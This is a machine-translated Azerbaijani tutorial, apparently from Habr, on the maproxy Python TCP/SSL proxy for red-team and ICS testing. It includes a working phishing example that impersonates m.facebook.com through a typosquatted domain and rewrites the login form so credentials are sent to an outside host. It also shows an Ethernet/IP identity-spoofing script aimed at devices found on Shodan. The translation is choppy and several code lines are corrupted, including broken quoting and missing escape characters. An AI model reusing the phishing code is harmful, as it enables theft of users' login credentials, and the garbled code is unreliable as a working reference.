Məqalənin tərcüməsi kursun başlaması ərəfəsində hazırlanıb
Mücərrəd
Müntəzəm nüfuz testindən və Qırmızı Komanda əməliyyatlarından tutmuş IoT/ICS cihazlarının və SCADA-nın sındırılmasına qədər müxtəlif növ təhlükəsizlik qiymətləndirmələri ikili şəbəkə protokolları ilə işləməyi, yəni müştəri ilə hədəf arasında şəbəkə məlumatlarının mahiyyətcə tutulmasını və dəyişdirilməsini əhatə edir. Wireshark, Tcpdump və ya Scapy kimi alətlərimiz olduğu üçün şəbəkə trafikini iyləmək çətin məsələ deyil, lakin modifikasiya daha çox əmək tutumlu iş kimi görünür, çünki şəbəkə məlumatlarını oxumaq, filtrləmək, dəyişdirmək üçün bir növ interfeysə ehtiyacımız olacaq. tez və demək olar ki, real vaxt hədəf host geri göndərin. Bundan əlavə, belə bir alət avtomatik olaraq birdən çox paralel əlaqə ilə işləyə bilsə və skriptlərdən istifadə edərək fərdiləşdirilə bilsə, ideal olardı.
Bir gün mən adlı bir alət kəşf etdim
, sənədlər tez bir zamanda mənə bunu aydınlaşdırdı maproxy
- sadəcə mənə lazım olan şey. Bu, kifayət qədər sadə, çox yönlü və asanlıqla konfiqurasiya edilə bilən TCP proksisidir. Mən bu aləti bir neçə kifayət qədər mürəkkəb proqramda, o cümlədən ICS cihazlarında (çoxlu paketlər yaradan) sınaqdan keçirdim ki, o, bir çox paralel bağlantıları idarə edə bilir və alət yaxşı işləyir.
Bu məqalə sizi şəbəkə məlumatlarını istifadə edərək tez bir zamanda emal etməklə tanış edəcək maproxy
.
Review
Alət maproxy
Python-da məşhur və yetkin asinxron şəbəkə çərçivəsi olan Tornado-ya əsaslanır.
Ümumiyyətlə, bir neçə rejimdə işləyə bilər:
TCP:TCP
– şifrələnməmiş TCP əlaqələri;TCP:SSL
иSSL:TCP
– birtərəfli şifrələmə ilə;SSL:SSL
- ikitərəfli şifrələmə.
Kitabxana kimi gəlir. Tez bir başlanğıc üçün əsası əks etdirən nümunə fayllarından istifadə edə bilərsiniz
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1-ci hal – sadə iki istiqamətli proxy
Əsasən tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Qiyabi ProxyServer()
iki arqument götürür - əlaqə yeri və hədəf port. server.listen()
bir arqument götürür - daxil olan əlaqəni dinləmək üçün port.
Skriptin icrası:
# python tcp2tcp.py
Testi həyata keçirmək üçün biz proksi skriptimiz vasitəsilə yerli SSH serverinə qoşulacağıq. 2222/tcp
port və standart porta qoşulur 22/tcp
SSH serverləri:
Xoş gəlmisiniz pankartı sizə xəbər verir ki, nümunə skriptimiz şəbəkə trafikini uğurla proksiləşdirib.
2-ci hal – verilənlərin dəyişdirilməsi
Başqa bir demo skripti logging_proxy.py
şəbəkə məlumatları ilə qarşılıqlı əlaqə üçün idealdır. Fayldakı şərhlər məqsədinizə çatmaq üçün dəyişdirə biləcəyiniz sinif üsullarını təsvir edir:
Ən maraqlısı buradadır:
on_c2p_done_read
– müştəridən serverə gedən yolda verilənləri tutmaq;on_p2s_done_read
- tərs.
Serverin müştəriyə qaytardığı SSH bannerini dəyişməyə cəhd edək:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Skripti icra edin:
Gördüyünüz kimi, müştərinin SSH server adı dəyişdirildiyi üçün onu yanıltdılar «DumnySSH»
.
3-cü hal – sadə fişinq veb səhifəsi
Bu alətdən istifadə etməyin sonsuz yolları var. Bu dəfə gəlin Qırmızı Komandanın əməliyyatları tərəfdən daha praktik bir şeyə diqqət edək. Gəlin açılış səhifəsini təqlid edək m.facebook.com
və qəsdən yazı səhvi ilə fərdi domendən istifadə edin, məsələn, m.facebok.com
. Nümayiş məqsədləri üçün, fərz edək ki, domeni bizim tərəfimizdən qeydiyyatdan keçirib.
Biz qurbanlarımızın proxy və SSL Stream ilə Facebook serverinə şifrələnməmiş şəbəkə bağlantısı quracağıq (31.13.81.36
). Bu nümunənin işləməsi üçün HTTP host başlığını dəyişdirməli və düzgün host adını daxil etməliyik və məzmuna asanlıqla daxil olmaq üçün cavab sıxılmasını da söndürəcəyik. Nəhayət, biz HTML formasını əvəz edəcəyik ki, giriş etimadnamələri Facebook serverləri əvəzinə bizə göndərilsin:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/az/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Xülasə:
Gördüyünüz kimi, biz orijinal saytı uğurla əvəz edə bildik.
4-cü hal – Ethernet/IP daşınması
Mən bir müddətdir ki, sənaye cihazları və proqram təminatı (ICS/SCADA) ilə məşğul oluram, məsələn, proqramlaşdırıla bilən kontrollerlər (PLC), I/O modulları, sürücülər, relelər, nərdivan proqramlaşdırma mühitləri və daha çox. Bu hal sənaye şeylərini sevənlər üçündür. Belə həllərin sındırılması şəbəkə protokolları ilə aktiv şəkildə oynamağı nəzərdə tutur. Aşağıdakı nümunədə ICS/SCADA şəbəkə trafikini necə dəyişdirə biləcəyinizi göstərmək istərdim.
Bunun üçün sizə aşağıdakılar lazım olacaq:
- Şəbəkə sniffer, məsələn, Wireshark;
- Ethernet/IP və ya sadəcə SIP cihazı, siz onu Shodan xidmətindən istifadə edərək tapa bilərsiniz;
- Skriptimiz buna əsaslanır
maproxy
.
Əvvəlcə CIP-dən (Ümumi Sənaye Protokolu) tipik identifikasiya cavabının necə göründüyünə baxaq:
Cihazın identifikasiyası CIP kimi nəzarət protokollarını əhatə edən sənaye Ethernet protokolunun təkmilləşdirilmiş versiyası olan Ethernet/IP protokolundan istifadə etməklə həyata keçirilir. Ekran görüntüsündə görünən vurğulanmış ID adını dəyişdirəcəyik Ethernet üçün "NI-IndComm" proxy skriptimizdən istifadə etməklə. Skriptdən yenidən istifadə edə bilərik logging_proxy.py
və oxşar şəkildə sinif metodunu dəyişdirin on_p2s_done_read
, çünki biz müştəridə fərqli şəxsiyyət adının görünməsini istəyirik.
Kodu:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Prinsipcə, biz iki dəfə cihazın identifikasiyasını istədik, ikinci cavab orijinal idi və birinci cavab dərhal dəyişdirildi.
Və sonuncu
Məncə maproxy
Rahat və sadə bir vasitədir, o da Python-da yazılmışdır, ona görə də inanıram ki, siz də istifadə etməkdən faydalana bilərsiniz. Əlbəttə ki, şəbəkə məlumatlarının emalı və dəyişdirilməsi üçün daha mürəkkəb alətlər var, lakin onlar da daha çox diqqət tələb edir və adətən konkret istifadə halları üçün yaradılır, məsələn. maproxy
nümunə skriptləri çox aydın olduğu üçün şəbəkə məlumatlarını ələ keçirmək üçün öz ideyalarınızı tez həyata keçirə bilərsiniz.
Mənbə: www.habr.com